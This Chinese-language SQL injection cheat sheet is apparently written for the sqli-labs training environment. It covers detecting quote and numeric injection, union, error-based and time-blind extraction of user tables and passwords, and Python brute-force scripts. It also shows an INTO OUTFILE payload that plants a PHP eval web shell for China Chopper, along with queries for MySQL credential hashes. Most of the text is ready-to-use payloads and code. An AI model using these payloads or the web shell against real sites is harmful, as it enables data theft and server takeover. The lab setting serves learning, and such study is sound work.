一、判断是否存在sql注入
1、页面有回显:
(1)先输入 ?id=1 ,页面正常反应;
(2)输入 ?id=1' 页面显示异常,输入 ?id=1" 页面正常,说明是单引号注入;
若输入 ?id=1' 页面正常,输入 ?id=1" 页面显示异常,说明是双引号注入;
(注:有时页面不存在回显,采用时间盲注判断是否存在sql注入)
2、页面无回显:
(1)输入 ?id=1' and if(1=1,sleep(3),1)--+ 若页面延时3秒,则说明是单引号注入;
(2)若(1)没有延时3秒,输入?id=1" and if(1=1,sleep(3),1)--+ 若页面延时3秒,说明是双引号注入,如果页面依然没有延时,则尝试添加括号;
二、判断是字符型还是数字型
1、数字型
(1)输入 ?id=1 and 1=1 ,页面应正常反应;
(2)输入 ?id=1 and 1=2 ,若页面反馈错误,则说明是数字型注入,若页面仍然正常反应,说明是字符型注入;
2、字符型
(1)若输入 ?id=1' 若界面出错
a、而输入 ?id=1'--+,页面正常,(再输入 ?id=1' and '1'='2 ,页面反馈错误,)说明是单引号字符型注入;
b、若输入 ?id=1'--+,页面反馈错误, 说明一个单引号无法闭合,需尝试更多选择,如 ) 或 " 或 ' 等;
(2)若输入 ?id=1' 界面正常,说明不是单引号字符型注入,先考虑双引号,输入 ?id=1" 若界面出错,再输入 ?id=1" --+,页面正常,(再输入 ?id=1" and "1"="2 ,页面反馈错误,)说明是双引号字符型注入;
三、具体注入方法(以下均以单引号字符型注入为例)
1、页面有回显
(1)使用联合注入,注入步骤如下:
a、先判断数据表的字段数量(页面显示的应为字段的一部分),每次递增1;
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+
直至页面报错或显示异常;
?id=1' order by 4--+
此时可以确定字段数为3;
b、爆出页面显示的是哪一字段:
?id=-1' union select 1,2,3--+
此时可知显示位为第二位和第三位;
c、爆出网页所用mysql数据库版本和查询用户所用的数据库:
?id=-1' union select 1,version(),database()--+
此时查出网页所用数据库为 ‘security’ ;
d、通过数据库 information_schema 的 tables 表(记录有各个数据库的数据表名)来查询数据库 security 的数据表有哪些:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
注:table_name为此所要查询的数据库的数据表名,table_schema为所要查询的数据库的名称;
查询结果所得数据表 users 是我们感兴趣的;
e、通过数据库 information_schema 的 columns 表(记录有各个数据库中数据表的字段内容)来查询 users 数据表中有哪些字段值得发掘:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
注:column_name 为所要查询的数据表的字段内容,table_name 为所要查询的数据表名;
查询结果中,我们感兴趣的是 id ,username ,password 字段;
f、查询 users 中具体的字段的内容:
?id=-1' union select 1,2,group_concat(username,id,password) from users--+
查出结果:
注:联合注入时,有时会出错,可以通过给查询语句加括号然后加 select:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
(2)报错注入:
原理:
updatexml(1,concat(0x5e,query,0x5e),1)
除此之外,还有:
floor(),extractvalue(),geometrycollection() 等
a、查询数据库版本:
?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)--+
b、查询页面所用的数据库:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1' and info()--+
c、通过数据库 information_ schema 的 tables 表来查询数据库 security 的数据表有哪些:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
d、通过数据库 information_ schema 的 columns 表来查询 user 表的字段有哪些:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
这时我们可以发现,数据没有被两个 ~ 包围,说明数据显示不全,这时候我们可以用 substr() 函数来进行截断;
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1),0x7e),1)--+
注:
substr()函数:
1、有两个参数:substr(str,num),代表从第 num 个字符开始截,截到末尾;
2、有三个参数:substr(str,num1,num2),代表从第 num1 个字符开始截,截 num2 个字符;
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32),0x7e),1)--+
还有一种方法是不用 group_concat() 函数,而是 concat() 和分页查询 limit 配合使用;
?id=1' and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+
(limit x,1)中x 每次递增1,查出所有字段,直到不显示报错;
注意:若是在 update 中进行注入就不能在表 users 中进行查询,因为mysql数据不支持查询和更新是同一张表,我们在把恶意代码插入 update 中是也是在做查询,所以会报错;
报错内容为:
You can't specify target table 'users' for update in FROM clause
解决办法:要添加一个表查询来替代掉users:
uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='Angelina') b) ,0x5c)))# &submit=Submit
这样不行,会发生报错:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from (select concat(table_name) from information_schema.tables where table_schema='security') b),0x7e),1)#&submit=Submit
报错内容如下:是因为 mysql 不支持动态的xpath查询
Only constant XPATH queries are supported
若出现报错:是因为在做多表查询,或者查询的时候产生新的表的时候会出现这个错误:Every derived table must have its own alias(每一个派生出来的表都必须有一个自己的别名)
Every derived table must have its own alias
补充:
可以使用 burpsuite 来查看 查询的内容,在 intruder 模块中,使用 grep-extract 来进行关键字的标注。
(3)使用 python 写时间盲注脚本来爆破数据库内容:
a、爆破所用数据库的名称长度:
def get_database_length():
for i in range(1,20):
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(length(database())>%d,sleep(2),1)--+" % i
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
print(i)
else:
print(i)
break
print('database_length:', i)
b、爆破数据库名:
def get_database_name():
name = ''
for i in range(1,9):
for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(substr(database(),%d,1)='%s',sleep(2),1)--+" % (i,j)
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
name += j
print(name)
break
print('database_name:', name)
c、爆破数据库的所有表的长度:
def get_database_tables_length():
for i in range(1,100):
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>%d,sleep(2),1)--+" % i
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
print(i)
else:
print(i)
break
print('database_tables_length:', i)
d、爆破数据库所有表的名称:
def get_database_tables_name():
name = ''
for i in range(1,30):
for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)='%s',sleep(2),1)--+" % (i,j)
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
name += j
print(name)
break
print('daatbase_tables_name:', name)
e、爆破指定表的字段的长度:
def get_database_table_columns_length():
for i in range(1,100):
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_name='users'))>%d,sleep(2),1)--+" % i
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
print(i)
else:
print(i)
break
print('database_table_columns_length:',i)
f、爆破指定表的字段的名称:
def get_database_table_columns_name():
name = ''
for i in range(1,64):
for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1)='%s',sleep(2),1)--+" % (i, j)
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
name += j
print(name)
break
print('database_table_colums_name:', name)
g、爆破字段内容的长度:
def get_content_length():
for i in range(1, 200):
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(length((select group_concat(username,id,password) from users))>%d,sleep(2),1)--+" % i
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
print(i)
else:
print(i)
break;
print('content_length:', i)
h、爆破字段内容:
def get_content():
name = ''
for i in range(1,193):
for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
url = "http://127.0.0.1/Less-1/"
sql = "?id=1' and if(substr((select group_concat(username,id,password) from users),%d,1)='%s',sleep(2),1)--+" % (i, j)
time_1 = datetime.datetime.now()
request = requests.get(url + sql)
time_2 = datetime.datetime.now()
sec = (time_2 - time_1).seconds
if sec >= 2:
name += j
print(name)
break
print('content:',name)
补充:post请求类型脚本:
import time
import requests
import datetime
url = "http://127.0.0.1/Less-11/"
data = {
'"uname"': "1",
"passwd": "1"
}
charset = "0123456789abcdefghijklmnopqrstuvwxyz,_^~-"
def get_database_length():
for i in range(1, 30):
data["uname"] = "a' or length(database())={}#".format(i)
request = requests.post(url=url, data=data)
if "../images/flag.jpg" in request.text:
print(i)
break
# get_database_length()
def get_database():
name = ''
for i in range(1, 30):
for j in charset:
data['uname'] = "a' or substr((database()),{},1)='{}'#".format(i, j)
request = requests.post(url=url, data=data)
if "../images/flag.jpg" in request.text:
name += j
print(name)
print("database:", name)
# get_database()
def get_content():
name = ''
for i in range(1, 300):
for j in charset:
data['uname'] = "a' or substr((select group_concat(username,id,password) " \
"from users),{},1)='{}'#".format(i, j)
request = requests.post(url=url, data=data)
if "../images/flag.jpg" in request.text:
name += j
print(name)
print("content:", name)
get_content()
若不用图片文件出现与否判断,只能sleep()延时注入,但必须知道用户名(uname),不然后面只能用or,但是那样的话,延时时间就不是短短的2-3秒了;
(实际上是延时5*13秒返回,因为or语句的前一个条件为id查询所以要查询表单中的所有id,因为users表内有13个id因此实际的返回时间为5*13)
(4)把内容写入文件:
a、获取数据库名:
?id=1' union select 1,2,database() into outfile 'D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy.txt'--+
b、获取数据库的数据表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy.txt"--+
c、获取数据表 users 的字段名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy1.txt"--+
d、获取数据表 users 的字段的内容:
?id=-1' union select 1,2,group_concat(username,id,password) from users into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy2.txt"--+
字符过长,可以换一种方式保存:
?id=-1' union select id,username,password from users into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy3.txt"--+
(5)写入一句话木马:
a、写入php文件:
?id=-1' union select 1,2,'<?php @eval($_POST["pass"]); ?>' into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\cy1.php"--+
b、查看是否写入成功:
c、用中国剑蚁或中国菜刀打开:
(6)使用burpsuite爆破:
第一种:使用 left(a, b) 函数,a是源字符串,b的意思是字符串a的第b个字符;把 a 设置为关键字,然后直接用 Sniper 进行爆破
原理:
?id=1' and if((left((database()),1)='a'),1,0)--+
第二种:使用 substr(a, b, c) 函数,a 是源字符串,b 是从第几个字符开始, c 是从第 b 个字符开始往后数 c 个字符:把第一个 1 设置为参数一,把 a 设置为参数二,使用 Cluster bomb 进行爆破,字典一设置为 1-40 的数字,字典二设置字符字典,然后直接进行爆破
?id=1' and if((substr(database,1,1)='a'),1,0)--+
补充:
(1)@@datadir; 获取数据存放路径
(2)@@basedir;获取安装路径
(3)@@version_compile_os ;得到当前操作系统
(4)regexp:
若用户为root,输入 select user() regexp 'r'
select user() regexp 'root',均返回1
输入 select user() regexp 'rot',则返回0
(5)like:
输入:select user() like 'r%' 或 select user() like 'root%'均返回1
输入:select user() like 'rot%' 返回0
(6)ascii():获取字符串的十进制ascii码
ascii(substr((select database()),1,1))=115
在python中 chr(115) 得到字符 's';ord('s') 得到数字115
(7)查库:
select schema_name from information_schema.schemata;
(8)注释:
除了 ' --+ ' '# ' 之外还有 ' ;%00 '可以进行注释;
(9)若注入是针对数据库的 insert 语句,则需要对插入数据 values 后的括号和引号进行闭合:
eg:
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";
//若是对$uagent进行替换
//闭合方法1
' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1#
//闭合方法2
' or updatexml(1,concat(0x7e,database(),0x7e),1),'','')#
(10)若是注释符被过滤也要想办法闭合引号:
eg:
http://127.0.0.1/Less-23/?id=-1' union select 1,2,3 or '1'='1
(11)order by 被忽视的现象:
# 以下语句均返回正常(忽视了order by)
select * from users where id=1 order by 3 or 1=1;
select * from users where id=1 order by 44444 or 1=1;
select * from users where id=1 order by 3 and 1=1;
select * from users where id=1 order by 3333 and 1=1;
# 以下语句会有返回异常
select * from users where id=1 and 1=1 order by 3;
select * from users where id=1 and 1=1 order by 33333;
select * from users where id=1 or 1=1 order by 3;
select * from users where id=1 or 1=1 order by 33333;
注:若查询时要进行 ' 闭合,那只能直接用 union select 1,2,3,···来判断字段数了
eg:sqli-labs第23关
//payload为:?id=1' order by 4 and '1'='1
//这里order by 被当作字符串处理,还是被忽视了
//此时就要用 union select来判断字段数:?id=1' union select 1,2,3,4 or '1'='1
(12)二次注入:实现二次注入还是要有未被过滤的部分;
(13)查询密码:
select host,user,authentication_string from mysql.user;
mysql 版本 5.7 以前密码字段是 password